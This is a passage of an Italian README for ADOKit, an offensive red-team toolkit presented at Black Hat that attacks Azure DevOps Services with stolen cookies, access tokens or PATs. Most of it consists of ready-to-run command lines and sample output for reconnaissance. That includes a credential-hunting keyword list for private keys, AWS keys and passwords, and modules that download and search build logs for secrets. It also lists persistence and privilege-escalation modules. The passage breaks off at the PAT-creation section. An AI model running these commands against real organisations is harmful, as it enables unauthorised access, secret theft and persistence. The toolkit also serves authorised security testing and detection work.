
ADOKit v1.4.2
Kit di attacco modulare che sfrutta l'API REST di Azure DevOps per ricognizione, escalation dei privilegi e persistenza utilizzando cookie rubati o PATs.
ADOKit
Descrizione
Azure DevOps Services Attack Toolkit - ADOKit è un toolkit che può essere utilizzato per attaccare Azure DevOps Services sfruttando l'API REST disponibile. Lo strumento consente all'utente di specificare un modulo di attacco, insieme a credenziali valide (chiave API o cookie di autenticazione rubato) per l'istanza di Azure DevOps Services corrispondente. I moduli di attacco supportati includono ricognizione, escalation dei privilegi e persistenza. ADOKit è stato sviluppato con un approccio modulare, in modo che nuovi moduli possano essere aggiunti in futuro dalla comunità della sicurezza informatica.
I dettagli completi sulle tecniche utilizzate da ADOKit sono nel libro bianco di X-Force Red whitepaper.
Black Hat USA Arsenal 2024
Le slide delle presentazioni e le demo sono incluse nella cartella BHUSA Arsenal 2024 in questo repository.
Rilascio
- La versione 1.4.1 di ADOKit è disponibile nelle Release
Indice
- ADOKit
- Indice
- Installazione/Compilazione
- Moduli dei comandi
- Argomenti/Opzioni
- Opzioni di autenticazione
- Tabella dettagli moduli
- Esempi
- Ricognizione
- Validare l'accesso ad Azure DevOps
- Whoami
- Elenco Org
- Elenco Repo
- Ricerca Repo
- Elenco Progetti
- Ricerca Progetti
- Ricerca Codice
- Ricerca File
- Elenco Utenti
- Ricerca Utente
- Elenco Team
- Ricerca Team
- Ottieni Membri del Team
- Elenco Gruppi
- Ricerca Gruppi
- Ottieni Membri del Gruppo
- Ottieni Permessi del Progetto
- Ricerca Credenziali
- Ottieni Log di Build
- Elenco Log di Build
- Ricerca Log di Build
- Persistenza
- Escalation dei Privilegi
- Aggiungi Amministratore Progetto
- Rimuovi Amministratore Progetto
- Aggiungi Amministratore Build
- Rimuovi Amministratore Build
- Aggiungi Amministratore Raccolta
- Rimuovi Amministratore Raccolta
- Aggiungi Amministratore Build Raccolta
- Rimuovi Amministratore Build Raccolta
- Aggiungi Account Servizio Build Raccolta
- Rimuovi Account Servizio Build Raccolta
- Aggiungi Account Servizio Raccolta
- Rimuovi Account Servizio Raccolta
- Ottieni Variabili Pipeline
- Ottieni Segreti Pipeline
- Ottieni Gruppi di Variabili
- Ottieni Connessioni Servizio
- Ricognizione
- Rilevamento
- Roadmap
- Riferimenti
Installazione/Compilazione
Librerie Utilizzate
Le seguenti librerie di terze parti sono utilizzate in questo progetto.
| Libreria | URL | Licenza |
|---|---|---|
| Fody | https://github.com/Fody/Fody | Licenza MIT |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | Licenza MIT |
Precompilato
- Utilizza il binario precompilato nelle Release
Compilazione manuale
Segui i passaggi seguenti per configurare Visual Studio e compilare il progetto manualmente. Richiede due librerie .NET che possono essere installate dal gestore pacchetti NuGet.
- Carica il progetto di Visual Studio e vai su "Strumenti" --> "Gestione pacchetti NuGet" --> "Impostazioni gestione pacchetti"
- Vai su "Gestione pacchetti NuGet" --> "Origini pacchetti"
- Aggiungi un'origine pacchetto con l'URL
https://api.nuget.org/v3/index.json - Installa il pacchetto NuGet Costura.Fody.
Install-Package Costura.Fody -Version 3.3.3
- Installa il pacchetto Newtonsoft.Json
Install-Package Newtonsoft.Json
- Ora puoi compilare il progetto da solo!
Moduli dei comandi
- Ricognizione
- check - Verifica se l'organizzazione utilizza Azure DevOps e se le credenziali sono valide
- whoami - Elenca l'utente corrente e le sue appartenenze ai gruppi
- listorgs - Elenca tutte le organizzazioni accessibili in Azure DevOps
- listrepo - Elenca tutti i repository
- searchrepo - Cerca un repository specifico
- listproject - Elenca tutti i progetti
- searchproject - Cerca un progetto specifico
- searchcode - Cerca codice contenente un termine di ricerca
- searchfile - Cerca file basato su un termine di ricerca
- listuser - Elenca utenti
- searchuser - Cerca un utente specifico
- listteam - Elenca team
- searchteam - Cerca un team specifico
- getteammembers - Ottieni i membri del team per un team specifico
- listgroup - Elenca gruppi
- searchgroup - Cerca un gruppo specifico
- getgroupmembers - Elenca tutti i membri del gruppo per un gruppo specifico
- getpermissions - Ottieni i permessi per chi ha accesso a un progetto specifico
- creds - Cerca credenziali nel codice (parole chiave elencate di seguito)
"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
- getbuildlogs - Scarica i log di build per uno o tutti i progetti
- listbuildlogs - Elenca i log di build per uno o tutti i progetti
- searchbuildlogs - Cerca nei log di build un termine di ricerca specifico
- Persistenza
- createpat - Crea un token di accesso personale per l'utente
- listpat - Elenca i token di accesso personali per l'utente
- removepat - Rimuovi token di accesso personale per l'utente
- createsshkey - Crea una chiave pubblica SSH per l'utente
- listsshkey - Elenca le chiavi pubbliche SSH per l'utente
- removesshkey - Rimuovi chiave pubblica SSH per l'utente
- Escalation dei privilegi
- addprojectadmin - Aggiunge un utente al gruppo "Amministratori del progetto" per un progetto specifico
- removeprojectadmin - Rimuove un utente dal gruppo "Amministratori del progetto" per un progetto specifico
- addbuildadmin - Aggiunge un utente al gruppo "Amministratori della build" per un progetto specifico
- removebuildadmin - Rimuove un utente dal gruppo "Amministratori della build" per un progetto specifico
- addcollectionadmin - Aggiunge un utente al gruppo "Amministratori della raccolta del progetto"
- removecollectionadmin - Rimuove un utente dal gruppo "Amministratori della raccolta del progetto"
- addcollectionbuildadmin - Aggiunge un utente al gruppo "Amministratori della build della raccolta del progetto"
- removecollectionbuildadmin - Rimuove un utente dal gruppo "Amministratori della build della raccolta del progetto"
- addcollectionbuildsvc - Aggiunge un utente al gruppo "Account servizio build della raccolta del progetto"
- removecollectionbuildsvc - Rimuove un utente dal gruppo "Account servizio build della raccolta del progetto"
- addcollectionsvc - Aggiunge un utente al gruppo "Account servizio della raccolta del progetto"
- removecollectionsvc - Rimuove un utente dal gruppo "Account servizio della raccolta del progetto"
- getpipelinevars - Recupera le variabili della pipeline per un progetto specifico.
- getpipelinesecrets - Recupera i nomi dei segreti della pipeline per un progetto specifico.
- getvariablegroups - Recupera i gruppi di variabili e le corrispondenti variabili per un progetto specifico.
- getserviceconnections - Recupera le connessioni di servizio per un progetto specifico.
Argomenti/Opzioni
- /credential: - credenziale per l'autenticazione (PAT o Cookie). Applicabile a tutti i moduli.
- /url: - URL di Azure DevOps. Applicabile a tutti i moduli.
- /search: - Parola chiave da cercare. Non applicabile a tutti i moduli.
- /project: - Progetto per cui eseguire un'azione. Non applicabile a tutti i moduli.
- /user: - Esegue un'azione su un utente specifico. Non applicabile a tutti i moduli.
- /id: - Utilizzato con i moduli di persistenza per eseguire un'azione su un ID token specifico. Non applicabile a tutti i moduli.
- /group: - Esegue un'azione su un gruppo specifico. Non applicabile a tutti i moduli.
Opzioni di autenticazione
Di seguito sono riportate le opzioni di autenticazione disponibili con ADOKit quando ci si autentica a un'istanza di Azure DevOps.
- Cookie rubato - UserAuthentication - Questo sarà il cookie
UserAuthenticationsul computer di un utente per il dominio.dev.azure.com./credential:UserAuthentication=ABC123
- Cookie rubato - AadAuthentication - Questo sarà il cookie
AadAuthenticationsul computer di un utente per il dominio.dev.azure.com./credential:eyJ0...
- Token di accesso personale (PAT) - Questo sarà un token di accesso/chiave API che sarà una singola stringa.
/credential:apiToken
- Token di accesso rubato - Se riesci a rubare o aggiornare un token di accesso appropriato, puoi anche usarlo. Quando si utilizza un token di accesso, deve essere valido per la risorsa di Azure Resource Manager (ARM) -
"aud":"https://management.core.windows.net/"o Azure Devops -"aud":"499b84ac-1321-427f-aa17-267ca6975798"/credential:eyJ0..
Tabella dettagli moduli
La tabella seguente mostra i permessi necessari per ogni modulo.
| Scenario di attacco | Modulo | Permessi speciali? | Note |
|---|---|---|---|
| Ricognizione | check | No | |
| Ricognizione | whoami | No | |
| Ricognizione | listorgs | No | |
| Ricognizione | listrepo | No | |
| Ricognizione | searchrepo | No | |
| Ricognizione | listproject | No | |
| Ricognizione | searchproject | No | |
| Ricognizione | searchcode | No | |
| Ricognizione | searchfile | No | |
| Ricognizione | listuser | No | |
| Ricognizione | searchuser | No | |
| Ricognizione | listteam | No | |
| Ricognizione | searchteam | No | |
| Ricognizione | getteammembers | No | |
| Ricognizione | listgroup | No | |
| Ricognizione | searchgroup | No | |
| Ricognizione | getgroupmembers | No | |
| Ricognizione | getpermissions | No | |
| Ricognizione | creds | No | |
| Ricognizione | getbuildlogs | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Ricognizione | listbuildlogs | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Ricognizione | searchbuildlogs | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Persistenza | createpat | No | |
| Persistenza | listpat | No | |
| Persistenza | removepat | No | |
| Persistenza | createsshkey | No | |
| Persistenza | listsshkey | No | |
| Persistenza | removesshkey | No | |
| Escalation dei privilegi | addprojectadmin | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removeprojectadmin | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | addbuildadmin | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removebuildadmin | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | addcollectionadmin | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removecollectionadmin | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | addcollectionbuildadmin | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removecollectionbuildadmin | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | addcollectionbuildsvc | Sì - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts | |
| Escalation dei privilegi | removecollectionbuildsvc | Sì - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts | |
| Escalation dei privilegi | addcollectionsvc | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | removecollectionsvc | Sì - Project Collection Administrator o Project Collection Service Accounts | |
| Escalation dei privilegi | getpipelinevars | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Escalation dei privilegi | getpipelinesecrets | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Escalation dei privilegi | getvariablegroups | Sì - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Escalation dei privilegi | getserviceconnections | Sì - Project Administrator, Project Collection Administrator o Project Collection Service Accounts |
Esempi
Validare l'accesso ad Azure DevOps
Caso d'uso
Esegue un controllo di autenticazione per verificare che l'organizzazione stia utilizzando Azure DevOps e che le credenziali fornite siano valide.
Sintassi
Fornisci il modulo check, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo restituirà se l'organizzazione fornita utilizza Azure DevOps e, in caso affermativo, tenterà di validare le credenziali fornite.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Output di esempio```
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/28/2023 3:33:01 PM
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### Caso d'uso
> *Ottieni l'utente corrente e le appartenenze ai gruppi dell'utente*
#### Sintassi
Fornisci il modulo `whoami`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo restituirà l'utente corrente e tutte le sue appartenenze ai gruppi.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Output di esempio```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
Elenca Organizzazioni
Caso d'Uso
Recupera le organizzazioni utilizzando un token di accesso specificato.
Sintassi
Fornisci al modulo listorgs le informazioni di autenticazione richieste. Per impostazione predefinita, questo comando elenca solo le organizzazioni accessibili con il token di accesso fornito.
- Usa
/mode:aadper enumerare tutte le organizzazioni DevOps all'interno del tenant Azure AD, indipendentemente dall'accesso diretto. - Usa
/endpoint:ENDPOINT_NAMEper specificare un endpoint AEX personalizzato.- Endpoint aggiuntivi possono essere identificati ispezionando il cookie
"X-VSS-DeploymentAffinity"daaex.dev.azure.com.
- Endpoint aggiuntivi possono essere identificati ispezionando il cookie
ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
Esempio di Output```
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
Timestamp: 3/14/2025 2:26:45 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### Elenca Repository
#### Caso d'uso
> *Scopri i repository utilizzati nell'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `listrepo`, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo produrrà il nome del repository e l'URL.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Esempio di Output```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Ricerca Repository
Caso d'uso
Cerca repository per nome del repository nell'istanza di Azure DevOps
Sintassi
Fornisci il modulo searchrepo e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Questo restituirà il nome e l'URL del repository corrispondente.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
Output di esempio```
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 9:26:57 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### Elenca Progetti
#### Caso d'uso
> *Scopri i progetti in uso in un'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `listproject`, insieme a qualsiasi informazione di autenticazione rilevante e URL. Questo produrrà il nome del progetto, la visibilità (pubblica o privata) e l'URL.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Esempio di output```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Ricerca Progetti
Caso d'Uso
Cerca progetti per nome del progetto nell'istanza di Azure DevOps
Sintassi
Fornisci il modulo searchproject e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà il nome del progetto corrispondente, la visibilità (pubblico o privato) e l'URL.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
Esempio di Output```
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:45:30 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### Ricerca Codice
#### Caso d'Uso
> *Cerca codice contenente una determinata parola chiave nell'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `searchcode` e i criteri di ricerca nell'argomento della riga di comando `/search:`, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà l'URL del file di codice corrispondente, insieme alla riga del codice che corrisponde.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Esempio di Output```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Cerca file
Caso d'uso
Cerca file nei repository che contengono una parola chiave nel nome file in Azure DevOps
Sintassi
Fornisci il modulo searchfile e i criteri di ricerca nell'argomento della riga di comando /search:, insieme a eventuali informazioni di autenticazione e URL. Questo restituirà l'URL del file corrispondente nel rispettivo repository.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
Esempio di Output```
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 11:28:34 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Ricerca Credenziali
#### Caso d'uso
> *Cerca codice contenente segreti come password o chiavi API in Azure DevOps*
#### Sintassi
Fornisci il modulo `creds`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo produrrà l'URL del file corrispondente nel suo repository e le righe corrispondenti in cui sono presenti le credenziali.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Output di esempio```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
Ottieni i Log di Build
Caso d'Uso
Scarica i log di tutte le esecuzioni della pipeline (log di build). Potrai poi cercare offline informazioni e/o segreti.
Sintassi
Fornisci il modulo getbuildlogs insieme a /project: per un dato progetto per scaricare tutti i log di build per questo progetto. Se desideri scaricarli per tutti i progetti, specifica all nell'argomento /project:. Verrà creata una cartella ADOKit-[caratteri casuali 8] nella directory di lavoro corrente per scaricarvi i log.
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
Output di Esempio```
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:15:27 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### Elenca i log di build
#### Caso d'uso
> *Elenca i log di build disponibili per un determinato progetto o per tutti i progetti.*
#### Sintassi
Fornisci il modulo `listbuildlogs` insieme a un `/project:` per un determinato progetto per elencare tutti i log di build per questo progetto. Se desideri elencarli per tutti i progetti, specifica `all` nell'argomento `/project:`.
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### Output di esempio```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Cerca nei log di build
Caso d'uso
Cerca i log di build che contengono una parola chiave in un'istanza di Azure DevOps
Sintassi
Fornisci il modulo searchbuildlogs e i criteri di ricerca nell'argomento della riga di comando /search:, insieme a /project: per un determinato progetto per cercare in tutti i log di build di questo progetto. Se desideri cercare nei log di build di tutti i progetti, specifica all nell'argomento /project:. Questo restituirà l'URL del file di log di output corrispondente, insieme alla riga nel log di build che corrisponde.
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
Esempio di output```
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:06:20 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### Creare PAT
#### Caso d'uso
> *Creare un token di accesso personale (PAT) per un utente che può essere utilizzato per la persistenza in un'istanza di Azure DevOps.*
#### Sintassi
